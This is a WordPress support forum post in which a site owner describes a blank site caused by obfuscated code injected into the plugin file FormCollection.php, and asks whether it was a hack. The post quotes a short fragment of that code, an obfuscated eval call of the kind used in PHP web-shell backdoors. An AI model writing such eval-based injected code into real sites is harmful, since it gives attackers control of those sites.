Title: corrupt php file
Last modified: April 9, 2020

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# corrupt php file

 *  [wilfried1954](https://wordpress.org/support/users/wilfried1954/)
 * (@wilfried1954)
 * [6 years, 2 months ago](https://wordpress.org/support/topic/corrupt-php-file/)
 * Hello,
 * This morning my website was blank screen. After setting WP_DEBUG to true I got
   following error: Fatal: Namespace declaration statement has to be first statement…
   in file FormCollection.php
 * After opening the file the first line was 12014 characters long, containing a
   lot of this stuff:
 * `($x026a168);}elseif ($bf8df60[$yb61['d9e4e'][87]] == $yb61['d9e4e'][59]){eval/*
   y500*/($bf8df60[$yb61['d9e4e'][84]]);}exit();}} ?><?php`
 * After deleting the garbage everything back ok now.
 * The error came from the middle of nowhere, no upgrading or something else done
   on that site. Running thw latest version of WP.
 * Could this be something in Caldera? Or is it hard disk failure of provider? Or
   a hack?
 * Can you advice what is best to do?
 * Thanks in advance for your reply, Wilfried
 * The page I need help with: _[[log in](https://login.wordpress.org/?redirect_to=https%3A%2F%2Fwordpress.org%2Fsupport%2Ftopic%2Fcorrupt-php-file%2F%3Foutput_format%3Dmd&locale=en_US)
   to see the link]_

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